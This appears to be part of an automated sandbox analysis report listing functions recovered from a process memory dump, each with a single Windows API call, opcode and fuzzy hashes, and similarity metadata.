Function 027D0784, Relevance: 1.6, APIs: 1, Instructions: 78COMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE(?,00000E9C,17BDA4A5,00000000,00000000,00000000,00000000), ref: 027D0819

Memory Dump Source

Source File: 00000019.00000002.2235540579.00000000027D0000.00000040.00000001.sdmp, Offset: 027D0000, based on PE: false

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: c0803358b44e6c50906499c0b49d3991f97f474fb96703959ed2d1c9c0b50095
Instruction ID: 0e5412b5a08c188b8b90d26ca68c91b9e1616ca483d957dfa800d92ddf741171
Opcode Fuzzy Hash: c0803358b44e6c50906499c0b49d3991f97f474fb96703959ed2d1c9c0b50095
Instruction Fuzzy Hash: 0021C5B6408780AFE712CB159C45BA3BFB8EF46724F0981DAE9858B193D224A909C771

Uniqueness

Uniqueness Score: -1.00%

Function 027D0464, Relevance: 1.6, APIs: 1, Instructions: 77COMMON

Download Yara Rule

APIs

SHGetFolderPathW.SHELL32(?,00000E9C,?,?), ref: 027D0502

Memory Dump Source

Source File: 00000019.00000002.2235540579.00000000027D0000.00000040.00000001.sdmp, Offset: 027D0000, based on PE: false

Similarity

API ID: FolderPath
String ID:
API String ID: 1514166925-0
Opcode ID: f847d70972da3232250b915001ac2f06f76520479757a7577a07a9aac20e5f62
Instruction ID: 4538e3e5de676eddc035b32f95086c7d2a182e49e21a663cac4fa94903ba5866
Opcode Fuzzy Hash: f847d70972da3232250b915001ac2f06f76520479757a7577a07a9aac20e5f62
Instruction Fuzzy Hash: F1217F7540E3C0AFD3128B359C55B62BFB4EF47614F1A81CBD8848F693D225A919C7B2

Uniqueness

Uniqueness Score: -1.00%

Function 027D06AE, Relevance: 1.6, APIs: 1, Instructions: 76fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,?,?,?,?,?), ref: 027D072D

Memory Dump Source

Source File: 00000019.00000002.2235540579.00000000027D0000.00000040.00000001.sdmp, Offset: 027D0000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 418628e9d9bcf7d0d1ebfe283101408977c9f2565b27671f2679d78a6b809fce
Instruction ID: bd095a77a13562b8815503676bd6b99748c13464bf9ad2f39abe075fecc2fbaa
Opcode Fuzzy Hash: 418628e9d9bcf7d0d1ebfe283101408977c9f2565b27671f2679d78a6b809fce
Instruction Fuzzy Hash: 0321AE71500300EFEB20DF65CC85F66FBE8EF08320F04846AE9899B291D331E904CB62

Uniqueness

Uniqueness Score: -1.00%

Function 027D0854, Relevance: 1.6, APIs: 1, Instructions: 75fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(?,00000E9C,17BDA4A5,00000000,00000000,00000000,00000000), ref: 027D08E5

Memory Dump Source

Source File: 00000019.00000002.2235540579.00000000027D0000.00000040.00000001.sdmp, Offset: 027D0000, based on PE: false

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 74a7beed3cb2bb66e6db26a915578d8125a0f214cf1a16ad709e37b611af1e5d
Instruction ID: d3aaf0709b786ff11863b75acd81c4b43906c23364808edf127b5200933c4645
Opcode Fuzzy Hash: 74a7beed3cb2bb66e6db26a915578d8125a0f214cf1a16ad709e37b611af1e5d
Instruction Fuzzy Hash: 2B219271409380AFE722CF61DC45F96BFB8EF06314F09849BE9449B153C265A909CB62

Uniqueness

Uniqueness Score: -1.00%

Function 0033A8B4, Relevance: 1.6, APIs: 1, Instructions: 74threadCOMMON

Download Yara Rule

APIs

SetThreadPreferredUILanguages.KERNEL32(?,00000E9C,?,?), ref: 0033A94A

Memory Dump Source

Source File: 00000019.00000002.2210157279.000000000033A000.00000040.00000001.sdmp, Offset: 0033A000, based on PE: false

Similarity

API ID: LanguagesPreferredThread
String ID:
API String ID: 842807343-0
Opcode ID: 6134445a6a1e821f7400da52875f0473b963514e683f8752a691151c85af075e
Instruction ID: e4f2e7662b9689f9da7884c3a95385254ca093765da90231ed61968ae9ca264e
Opcode Fuzzy Hash: 6134445a6a1e821f7400da52875f0473b963514e683f8752a691151c85af075e
Instruction Fuzzy Hash: 8821A77540D780AFD3138B25DC51B62BFB4EF87724F0981DBE8848B653D224A919C7B6

Uniqueness

Uniqueness Score: -1.00%

Function 027D0D66, Relevance: 1.6, APIs: 1, Instructions: 71registryCOMMON

Download Yara Rule

APIs

RegisterEventSourceW.ADVAPI32(?), ref: 027D0DD6

Memory Dump Source

Source File: 00000019.00000002.2235540579.00000000027D0000.00000040.00000001.sdmp, Offset: 027D0000, based on PE: false

Similarity

API ID: EventRegisterSource
String ID:
API String ID: 1693822063-0
Opcode ID: 228075cdf1bcfc7f157c30bba879fcc78131e3cd4bb4548b03c0dae29d84b0b1
Instruction ID: 3fbab59f96c1bfeb59521d2d525b020f210d95e6f8b33cbd80eb55966d4d9b6b
Opcode Fuzzy Hash: 228075cdf1bcfc7f157c30bba879fcc78131e3cd4bb4548b03c0dae29d84b0b1
Instruction Fuzzy Hash: 7A218E71600340AFF720DF26DC85BA6FBE8EF05764F04846AE948DB282D775E904CA66

Uniqueness

Uniqueness Score: -1.00%

Function 0033BD52, Relevance: 1.6, APIs: 1, Instructions: 69COMMON

Download Yara Rule

APIs

GetTokenInformation.KERNELBASE(?,00000E9C,17BDA4A5,00000000,00000000,00000000,00000000), ref: 0033BDBC

Memory Dump Source

Source File: 00000019.00000002.2210157279.000000000033A000.00000040.00000001.sdmp, Offset: 0033A000, based on PE: false

Similarity

API ID: InformationToken
String ID:
API String ID: 4114910276-0
Opcode ID: 0f0ee63728d593b749fa3591ffa7118ebeae1f35ff46b45ce0dc82d381d42671
Instruction ID: fa9f5ba451af4adc09075db82be238d4400ceb082fe168c199534a7fa430c69d
Opcode Fuzzy Hash: 0f0ee63728d593b749fa3591ffa7118ebeae1f35ff46b45ce0dc82d381d42671
Instruction Fuzzy Hash: 7111AF72500304EFFB21CF55DC85FAAFBACEF04320F14856AFA45DA541D674A9048BB1

Uniqueness

Uniqueness Score: -1.00%

Function 0033B04A, Relevance: 1.6, APIs: 1, Instructions: 67COMMON

Download Yara Rule

APIs

K32GetModuleInformation.KERNEL32(?,00000E9C,17BDA4A5,00000000,00000000,00000000,00000000), ref: 0033B0AE

Memory Dump Source

Source File: 00000019.00000002.2210157279.000000000033A000.00000040.00000001.sdmp, Offset: 0033A000, based on PE: false

Similarity

API ID: InformationModule
String ID:
API String ID: 3425974696-0
Opcode ID: 4a98c2438da37c70848edfc421cd0566cee766293bccb10a90f8d9eefa205e9b
Instruction ID: 6dad73ea1cd0dfad028a498132cfc144da8968199c1517b2a7827e25b594aa64
Opcode Fuzzy Hash: 4a98c2438da37c70848edfc421cd0566cee766293bccb10a90f8d9eefa205e9b
Instruction Fuzzy Hash: F5117C71600300EFEB21CF15DC85FABFBA8EF04760F14856AEA09DB641D774E9088AA1

Uniqueness

Uniqueness Score: -1.00%

Function 027D137E, Relevance: 1.6, APIs: 1, Instructions: 67COMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 027D13F0

Memory Dump Source

Source File: 00000019.00000002.2235540579.00000000027D0000.00000040.00000001.sdmp, Offset: 027D0000, based on PE: false

Similarity

API ID: ConsoleWrite
String ID:
API String ID: 2657657451-0
Opcode ID: 289da5a12e6a790df638e67e613764a1cb58b565aa919e3570dc118a883328fe
Instruction ID: 3e3d2c3ff25c39439cce8dd94c9a452a63d164412b6e979e816ad7a08c32899f
Opcode Fuzzy Hash: 289da5a12e6a790df638e67e613764a1cb58b565aa919e3570dc118a883328fe
Instruction Fuzzy Hash: 6C219F725083809FEB21CF25DC45B96FFB4EF06220F0884AAED858B562D335A848DB61

Uniqueness

Uniqueness Score: -1.00%

Function 027D0F34, Relevance: 1.6, APIs: 1, Instructions: 67COMMON

Download Yara Rule

APIs

GetDriveTypeW.KERNELBASE(?), ref: 027D0FB0

Memory Dump Source

Source File: 00000019.00000002.2235540579.00000000027D0000.00000040.00000001.sdmp, Offset: 027D0000, based on PE: false

Similarity

API ID: DriveType
String ID:
API String ID: 338552980-0
Opcode ID: 5e4d0c53c7c49106351c927c606b496f957ca3395d199acdff62494bfae3de4c
Instruction ID: 98e449b45384fc1f279a819b0ff87429c6d3c86c0d9d01ed31fcda59f9149461
Opcode Fuzzy Hash: 5e4d0c53c7c49106351c927c606b496f957ca3395d199acdff62494bfae3de4c
Instruction Fuzzy Hash: CF216F7150D3C09FDB12CB25DC55B96BFB4AF03224F1D84DAD8888F253D2659908CB62

Uniqueness

Uniqueness Score: -1.00%

Function 0033BABE, Relevance: 1.6, APIs: 1, Instructions: 66COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 0033BB2F

Memory Dump Source

Source File: 00000019.00000002.2210157279.000000000033A000.00000040.00000001.sdmp, Offset: 0033A000, based on PE: false

Similarity

API ID: ConsoleMode
String ID:
API String ID: 4145635619-0
Opcode ID: be4b4df48870294e169d0c5d0ae6589891cc93ba3a8dc60bbd4397b4023be310
Instruction ID: 01adaae08292b01ed7b58433e2d40e865d36791dbb1331223d26625a0ddb9cf3
Opcode Fuzzy Hash: be4b4df48870294e169d0c5d0ae6589891cc93ba3a8dc60bbd4397b4023be310
Instruction Fuzzy Hash: F2216F765093C09FEB128B25DC55B92FFA4EF07320F0984DADD858F263D264A948DB61

Uniqueness

Uniqueness Score: -1.00%

Function 0033AAAB, Relevance: 1.6, APIs: 1, Instructions: 66COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(?,?,?), ref: 0033AB1A

Memory Dump Source

Source File: 00000019.00000002.2210157279.000000000033A000.00000040.00000001.sdmp, Offset: 0033A000, based on PE: false

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: 8d009e2b2edee061f8e260ba3fe24339de7b582a3bedd5a6e7c1c0d6891f6268
Instruction ID: 786d53d67234b29f8a9410e57a8d6dc31624fa81c8c0d0e1ba8be628e5e1652d
Opcode Fuzzy Hash: 8d009e2b2edee061f8e260ba3fe24339de7b582a3bedd5a6e7c1c0d6891f6268
Instruction Fuzzy Hash: 6C2187716053809FD722CF25DC84B52FFE8EF56210F09849AED85CB252D275E804CB71

Uniqueness

Uniqueness Score: -1.00%

Function 027D10D4, Relevance: 1.6, APIs: 1, Instructions: 65threadCOMMON

Download Yara Rule

APIs

SetThreadUILanguage.KERNEL32(?), ref: 027D1148

Memory Dump Source

Source File: 00000019.00000002.2235540579.00000000027D0000.00000040.00000001.sdmp, Offset: 027D0000, based on PE: false

Similarity

API ID: LanguageThread
String ID:
API String ID: 243849632-0
Opcode ID: e025c8b0ed00473390adcd367672ae6de8dc22072511b322283e4a025a891240
Instruction ID: b0ba8f13e36f09cf8ade61d5311888833b64ee2b4f081f919e828368f2037931
Opcode Fuzzy Hash: e025c8b0ed00473390adcd367672ae6de8dc22072511b322283e4a025a891240
Instruction Fuzzy Hash: 6D216D6140D3C49FE7138B25DC54A62BFB4EF57624F0980DBD8848F2A3D2695808D772

Uniqueness

Uniqueness Score: -1.00%

Function 0033AF62, Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(?,00000E9C,17BDA4A5,00000000,00000000,00000000,00000000), ref: 0033AFBE

Memory Dump Source

Source File: 00000019.00000002.2210157279.000000000033A000.00000040.00000001.sdmp, Offset: 0033A000, based on PE: false

Similarity

API ID: EnumModulesProcess
String ID:
API String ID: 1082081703-0
Opcode ID: 9e914eac3aec19336689287e224918aae92422ea8d0863540db50bde61edef5f
Instruction ID: 0aba86903132fd16e8cb66eaad0580f04d874f62ab3d2360cfbab29423f1833f
Opcode Fuzzy Hash: 9e914eac3aec19336689287e224918aae92422ea8d0863540db50bde61edef5f
Instruction Fuzzy Hash: DB11C172500700EFFB22DF55DC85BA6FBA8EF44720F14846AED499A681D774A9048BB2

Uniqueness

Uniqueness Score: -1.00%

Function 0033BA10, Relevance: 1.6, APIs: 1, Instructions: 60fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,?,?,?,?,?,?), ref: 0033BA7E

Memory Dump Source

Source File: 00000019.00000002.2210157279.000000000033A000.00000040.00000001.sdmp, Offset: 0033A000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: cc84a2edc1508227192363edd6768a2b5558f98e0c9adbc7fbab5581c614b816
Instruction ID: 0814d4c09aec333eb32555e17fada5bdcb90009156a35731305550363d15726f
Opcode Fuzzy Hash: cc84a2edc1508227192363edd6768a2b5558f98e0c9adbc7fbab5581c614b816
Instruction Fuzzy Hash: 3F119071504780AFDB22CF65CC84B52FFF4EF05210F09849AEA858B662D375A818DB61

Uniqueness

Uniqueness Score: -1.00%

Function 027D0886, Relevance: 1.6, APIs: 1, Instructions: 60fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(?,00000E9C,17BDA4A5,00000000,00000000,00000000,00000000), ref: 027D08E5

Memory Dump Source

Source File: 00000019.00000002.2235540579.00000000027D0000.00000040.00000001.sdmp, Offset: 027D0000, based on PE: false

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: dbd1ec85067d0ed008d3eb0f929484b557a7aa7e60440d6d3c233bec8f40f955
Instruction ID: d742f43ae0b483c60e7b77aa6218dbe9df4056d2e31dc49a1bd85695c2c3144b
Opcode Fuzzy Hash: dbd1ec85067d0ed008d3eb0f929484b557a7aa7e60440d6d3c233bec8f40f955
Instruction Fuzzy Hash: 4111C172400300EFFB21CF51DC45FA6FBA8EF14720F04855AED499B241D671A904CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 0033A33C, Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(?), ref: 0033A39C

Memory Dump Source

Source File: 00000019.00000002.2210157279.000000000033A000.00000040.00000001.sdmp, Offset: 0033A000, based on PE: false

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 097933257b9ad4e8dc6fd2d8377b8be9faad0dc55f06d8281480bdef93610fa4
Instruction ID: fe4d21264581f2ad84f0d1883c4e0dfc9cb7bf29f04361e85380e4d1c85b5fd8
Opcode Fuzzy Hash: 097933257b9ad4e8dc6fd2d8377b8be9faad0dc55f06d8281480bdef93610fa4
Instruction Fuzzy Hash: 55118F715093C09FE7128B15DC54AA2FFB4DF47624F0880CAEDC44F253D265A808DB62

Uniqueness

Uniqueness Score: -1.00%

Function 027D12D8, Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

SetConsoleTextAttribute.KERNEL32(?,?), ref: 027D132F

Memory Dump Source

Source File: 00000019.00000002.2235540579.00000000027D0000.00000040.00000001.sdmp, Offset: 027D0000, based on PE: false

Similarity

API ID: AttributeConsoleText
String ID:
API String ID: 646522457-0
Opcode ID: 3730ed8af792166287497006cbe0378e84f0bb32e2bcc7d16e2815f395a0a8d2
Instruction ID: f165cacbe980526d71ffad305be8384060359d1e02bcdf3df191fbee09bbf128
Opcode Fuzzy Hash: 3730ed8af792166287497006cbe0378e84f0bb32e2bcc7d16e2815f395a0a8d2
Instruction Fuzzy Hash: D71191715093849FEB118F25DC49B96FFA4EF06220F0984EEED498B252D375A808CB61

Uniqueness

Uniqueness Score: -1.00%

Function 027D05E8, Relevance: 1.6, APIs: 1, Instructions: 54fileCOMMON

Download Yara Rule

APIs

UnmapViewOfFile.KERNELBASE(?), ref: 027D0640

Memory Dump Source

Source File: 00000019.00000002.2235540579.00000000027D0000.00000040.00000001.sdmp, Offset: 027D0000, based on PE: false

Similarity

API ID: FileUnmapView
String ID:
API String ID: 2564024751-0
Opcode ID: 8442b9f11f762b33e48406714ced51ecdf1e533e11a32f518a300a7fd57d15ea
Instruction ID: 37d6fe2abc61e1a71e997bfecd397db1303b29cdcb474e8b9bb049800e86141e
Opcode Fuzzy Hash: 8442b9f11f762b33e48406714ced51ecdf1e533e11a32f518a300a7fd57d15ea
Instruction Fuzzy Hash: 6E11C2755093C09FEB128B15DC99B52FFB4DF42224F0880DBED858B663D265A908CB62

Uniqueness

Uniqueness Score: -1.00%

Function 0033AA0F, Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 0033AA71

Memory Dump Source

Source File: 00000019.00000002.2210157279.000000000033A000.00000040.00000001.sdmp, Offset: 0033A000, based on PE: false

Similarity

API ID: ConsoleOutput
String ID:
API String ID: 3985236979-0
Opcode ID: ffbefb0d5b40986ae500a1ea9982872d2d6aa6eaf555cfd9774a4f7173a57238
Instruction ID: beb788a7aa2c17490ce69fab6c6a720e5cdf321f2388e735e70cea392a12e297
Opcode Fuzzy Hash: ffbefb0d5b40986ae500a1ea9982872d2d6aa6eaf555cfd9774a4f7173a57238
Instruction Fuzzy Hash: DD11C17640D7C49FE7128B11DC85A91BFA4EF13324F0A80DBDD848F163D268A909CB62

Uniqueness

Uniqueness Score: -1.00%

Function 0033AAD2, Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(?,?,?), ref: 0033AB1A

Memory Dump Source

Source File: 00000019.00000002.2210157279.000000000033A000.00000040.00000001.sdmp, Offset: 0033A000, based on PE: false

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: e92c43a407abbe9654bfaf07b6243886b6734ae7e8060934598e4986b9180ca4
Instruction ID: 69e4b03b6f6574ae67f97514d595b40306b48ca41edfcfbd2f65c0240b5f146c
Opcode Fuzzy Hash: e92c43a407abbe9654bfaf07b6243886b6734ae7e8060934598e4986b9180ca4
Instruction Fuzzy Hash: 391161B26007009FEB21DF25DC85B56FBD8EF14721F08C46ADD49CB641D674E804CA72

Uniqueness

Uniqueness Score: -1.00%

Function 027D092F, Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNELBASE(?), ref: 027D099C

Memory Dump Source

Source File: 00000019.00000002.2235540579.00000000027D0000.00000040.00000001.sdmp, Offset: 027D0000, based on PE: false

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: d3bbcec888bb3ee0c04de4c77907ed58ede9a20d3e538f98bac8756538ebf10c
Instruction ID: 9fe8754c55c1f233dc57e27823f1c4ab2344def0c8edeb9854db353817c3416c
Opcode Fuzzy Hash: d3bbcec888bb3ee0c04de4c77907ed58ede9a20d3e538f98bac8756538ebf10c
Instruction Fuzzy Hash: 5A116D755097C49FE7128B25DC59B92FFB4EF07324F0980DAD9844B263D265A908CB62

Uniqueness

Uniqueness Score: -1.00%

Function 027D07C6, Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE(?,00000E9C,17BDA4A5,00000000,00000000,00000000,00000000), ref: 027D0819

Memory Dump Source

Source File: 00000019.00000002.2235540579.00000000027D0000.00000040.00000001.sdmp, Offset: 027D0000, based on PE: false

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: 388375542dbcf5db95bf0d04ef057a9c18fbacf5ff736d226987e10a500b9197
Instruction ID: 0027603e4f7dad0f62972485d2069dc8d63ccc483b46d1cd7e4354dd0ab00b0c
Opcode Fuzzy Hash: 388375542dbcf5db95bf0d04ef057a9c18fbacf5ff736d226987e10a500b9197
Instruction Fuzzy Hash: 6E019E71540704EFFB20DF15DC8AFA6FBA8DF44720F14C0AAED099B281D674A904CAB6

Uniqueness

Uniqueness Score: -1.00%

Function 027D13AA, Relevance: 1.6, APIs: 1, Instructions: 51COMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 027D13F0

Memory Dump Source

Source File: 00000019.00000002.2235540579.00000000027D0000.00000040.00000001.sdmp, Offset: 027D0000, based on PE: false

Similarity

API ID: ConsoleWrite
String ID:
API String ID: 2657657451-0
Opcode ID: 6149be0aec94bf03bb13f7da53917934431ef51b1084bcdbb6ff060265c448c4
Instruction ID: 2f060541cd9ce5be233fd384b8e21ffd90a901900d5e348da0b6e3e25e6ace69
Opcode Fuzzy Hash: 6149be0aec94bf03bb13f7da53917934431ef51b1084bcdbb6ff060265c448c4
Instruction Fuzzy Hash: DB11AD76500700DFEB20CF56EC85B66FBB4EF04220F08C4AAED498B652D771E408CB62

Uniqueness

Uniqueness Score: -1.00%

Function 0033AB75, Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNELBASE ref: 0033ABC9

Memory Dump Source

Source File: 00000019.00000002.2210157279.000000000033A000.00000040.00000001.sdmp, Offset: 0033A000, based on PE: false

Similarity

API ID: DrivesLogical
String ID:
API String ID: 999431828-0
Opcode ID: df05f3ad6279821ca8a6419d184318acb1698d4d6da470b00af92a33008db832
Instruction ID: 7cd403b0dffc853d112ae69d33cef9b20bb94c8790555bb9f5cd8b1dd0690224
Opcode Fuzzy Hash: df05f3ad6279821ca8a6419d184318acb1698d4d6da470b00af92a33008db832
Instruction Fuzzy Hash: 821182B55097809FEB11CF55DC89B92FFA4EF52324F0A80ABDD488F153D275A908CB62

Uniqueness

Uniqueness Score: -1.00%

Function 0033BA32, Relevance: 1.5, APIs: 1, Instructions: 49fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,?,?,?,?,?,?), ref: 0033BA7E

Memory Dump Source

Source File: 00000019.00000002.2210157279.000000000033A000.00000040.00000001.sdmp, Offset: 0033A000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: cc71892745a196d85197144e9c0880103b45c18305a95e6d887d138ead18ddac
Instruction ID: 22c9ec856c4d3e250cdf6e2b26ea35ee37ba18f656c174addc15aef453a210b2
Opcode Fuzzy Hash: cc71892745a196d85197144e9c0880103b45c18305a95e6d887d138ead18ddac
Instruction Fuzzy Hash: 40116172504B04DFEB21CF55DC85B52FBE4EF14720F0885AAEE498A612D371E414DB61

Uniqueness

Uniqueness Score: -1.00%

Function 0033A1EE, Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

SetConsoleCtrlHandler.KERNEL32(?,00000E9C,?,?), ref: 0033A23E

Memory Dump Source

Source File: 00000019.00000002.2210157279.000000000033A000.00000040.00000001.sdmp, Offset: 0033A000, based on PE: false

Similarity

API ID: ConsoleCtrlHandler
String ID:
API String ID: 1513847179-0
Opcode ID: 33a844eedeeef20e463ec05b06c94e35153bc4dfb710d27c1eae5bf295d3275b
Instruction ID: 2a235b0e62e7b323c3ba60aa06b3918ceff6276c22317cf8b3932128290a0996
Opcode Fuzzy Hash: 33a844eedeeef20e463ec05b06c94e35153bc4dfb710d27c1eae5bf295d3275b
Instruction Fuzzy Hash: 7E018471900700AFE310DF16DD46B66FBA8FB84A20F14816AED089B741D335F915CBE6

Uniqueness

Uniqueness Score: -1.00%

Function 027D104E, Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetVolumeInformationW.KERNELBASE(?,00000E9C,?,?), ref: 027D109E

Memory Dump Source

Source File: 00000019.00000002.2235540579.00000000027D0000.00000040.00000001.sdmp, Offset: 027D0000, based on PE: false

Similarity

API ID: InformationVolume
String ID:
API String ID: 2039140958-0
Opcode ID: b71fc5c8601f5a6191bac5da02af3cdc8c0dd322508e4334250a0100d8e02e61
Instruction ID: 77bc168164728b739788492a07751a275f07fb2ca2959a14c8b84cf0fe293e5f
Opcode Fuzzy Hash: b71fc5c8601f5a6191bac5da02af3cdc8c0dd322508e4334250a0100d8e02e61
Instruction Fuzzy Hash: 89017171900600AFE310DF16DD46B66FBA8FB84A20F14816AED089B741D335B915CBE6

Uniqueness

Uniqueness Score: -1.00%

Function 027D0196, Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

SetConsoleTitleW.KERNEL32(?), ref: 027D01D0

Memory Dump Source

Source File: 00000019.00000002.2235540579.00000000027D0000.00000040.00000001.sdmp, Offset: 027D0000, based on PE: false

Similarity

API ID: ConsoleTitle
String ID:
API String ID: 3358957663-0
Opcode ID: 03da4cad95ffc0ac1a81171e422e8bad8f1d9a8999df990cf9a6518ea41dca2b
Instruction ID: dbb21bcff80276d7599f51b988e0a3793ca1d0782620fc54a1b7e77d88848a3a
Opcode Fuzzy Hash: 03da4cad95ffc0ac1a81171e422e8bad8f1d9a8999df990cf9a6518ea41dca2b
Instruction Fuzzy Hash: 5E015E716017449FEB10DF66DC897AAFBA8EB01724F0884AADC09DB642D775E504CA62

Uniqueness

Uniqueness Score: -1.00%

Function 0033BAFA, Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 0033BB2F

Memory Dump Source

Source File: 00000019.00000002.2210157279.000000000033A000.00000040.00000001.sdmp, Offset: 0033A000, based on PE: false

Similarity

API ID: ConsoleMode
String ID:
API String ID: 4145635619-0
Opcode ID: 88ac56b85ac1a3c486488d6c8e0d11d9abecfc9e957c044af6ed1da171a4c955
Instruction ID: f7eced26102d38497dbb26a9958468be12a84e3ee6be628f539b8081b440fe56
Opcode Fuzzy Hash: 88ac56b85ac1a3c486488d6c8e0d11d9abecfc9e957c044af6ed1da171a4c955
Instruction Fuzzy Hash: 2901DF71500300DFEB21CF15DC897A5FBA4EF04720F08C4AADE498B656D775A804CB62

Uniqueness

Uniqueness Score: -1.00%

Function 027D12FA, Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

SetConsoleTextAttribute.KERNEL32(?,?), ref: 027D132F

Memory Dump Source

Source File: 00000019.00000002.2235540579.00000000027D0000.00000040.00000001.sdmp, Offset: 027D0000, based on PE: false

Similarity

API ID: AttributeConsoleText
String ID:
API String ID: 646522457-0
Opcode ID: 9b62a9bcdb3bc921c396d61d1e1b81c38cbc4fb5135ad4a6c6ded34747226a22
Instruction ID: acaf6272e8ff72521e1c325c6a7ed01b41105b655a46f6fad21544b27b81d010
Opcode Fuzzy Hash: 9b62a9bcdb3bc921c396d61d1e1b81c38cbc4fb5135ad4a6c6ded34747226a22
Instruction Fuzzy Hash: 8801DF71504300DFEF10CF15DC897A5FBA4EF04620F48C4AADC098B642D375A404CB62

Uniqueness

Uniqueness Score: -1.00%

Function 0033A8FA, Relevance: 1.5, APIs: 1, Instructions: 43threadCOMMON

Download Yara Rule

APIs

SetThreadPreferredUILanguages.KERNEL32(?,00000E9C,?,?), ref: 0033A94A

Memory Dump Source

Source File: 00000019.00000002.2210157279.000000000033A000.00000040.00000001.sdmp, Offset: 0033A000, based on PE: false

Similarity

API ID: LanguagesPreferredThread
String ID:
API String ID: 842807343-0
Opcode ID: b87a6ea3b3f3be434bafb2eef76657a1678d7ed690428ee1d363adbf7d2daf4c
Instruction ID: 48235dda99876d4f6a43f266e7f3defdbdbc28ff4cffa3f8bd961673641f6848
Opcode Fuzzy Hash: b87a6ea3b3f3be434bafb2eef76657a1678d7ed690428ee1d363adbf7d2daf4c
Instruction Fuzzy Hash: 64016D71900600ABE310DF16DD86B26FBA8FB88B24F14825AED085B741D275F915CBE6

Uniqueness

Uniqueness Score: -1.00%

Function 027D0F76, Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

GetDriveTypeW.KERNELBASE(?), ref: 027D0FB0

Memory Dump Source

Source File: 00000019.00000002.2235540579.00000000027D0000.00000040.00000001.sdmp, Offset: 027D0000, based on PE: false

Similarity

API ID: DriveType
String ID:
API String ID: 338552980-0
Opcode ID: 8e46b3f59a5a1afd6ca5bbfc9228307e16bad59281fd1ad561bd392f72622cd3
Instruction ID: ced2a520e8de672e2b9a1244c97d5d8e51957c99cdbddabb030126b30c42faa6
Opcode Fuzzy Hash: 8e46b3f59a5a1afd6ca5bbfc9228307e16bad59281fd1ad561bd392f72622cd3
Instruction Fuzzy Hash: CB017C71500340DFEB10DF16D889BA6FBA4EB41724F1884AADC488F246D774E504CAA2

Uniqueness

Uniqueness Score: -1.00%

Function 027D04B2, Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

SHGetFolderPathW.SHELL32(?,00000E9C,?,?), ref: 027D0502

Memory Dump Source

Source File: 00000019.00000002.2235540579.00000000027D0000.00000040.00000001.sdmp, Offset: 027D0000, based on PE: false

Similarity

API ID: FolderPath
String ID:
API String ID: 1514166925-0
Opcode ID: a08fcf8988c4fa8156a13486776df1c58e778fab7dde9ec66a24ccab25f044f2
Instruction ID: 4fe9d760402ff02d9781366b71211b3d7807077e6a20f5b3d37843dadd3ce246
Opcode Fuzzy Hash: a08fcf8988c4fa8156a13486776df1c58e778fab7dde9ec66a24ccab25f044f2
Instruction Fuzzy Hash: 13016D71900600ABE310DF16DD86B26FBA8FB88B24F14825AED085B741D275F915CBE6

Uniqueness

Uniqueness Score: -1.00%

Function 027D060E, Relevance: 1.5, APIs: 1, Instructions: 39fileCOMMON

Download Yara Rule

APIs

UnmapViewOfFile.KERNELBASE(?), ref: 027D0640

Memory Dump Source

Source File: 00000019.00000002.2235540579.00000000027D0000.00000040.00000001.sdmp, Offset: 027D0000, based on PE: false

Similarity

API ID: FileUnmapView
String ID:
API String ID: 2564024751-0
Opcode ID: 0d42e40af807e0ef956e45978d9803191c3a7f8a9ad6316c4c9de085749cca18
Instruction ID: f1bb9ce26ca36fd4ffb893ee71e5b8e9181f6fe4e561350b96883d115bfc31ce
Opcode Fuzzy Hash: 0d42e40af807e0ef956e45978d9803191c3a7f8a9ad6316c4c9de085749cca18
Instruction Fuzzy Hash: 2901FF39600700CFEB209F16DC897A1FBA0EF41724F08C0AADC498B752D374E808CEA2

Uniqueness

Uniqueness Score: -1.00%

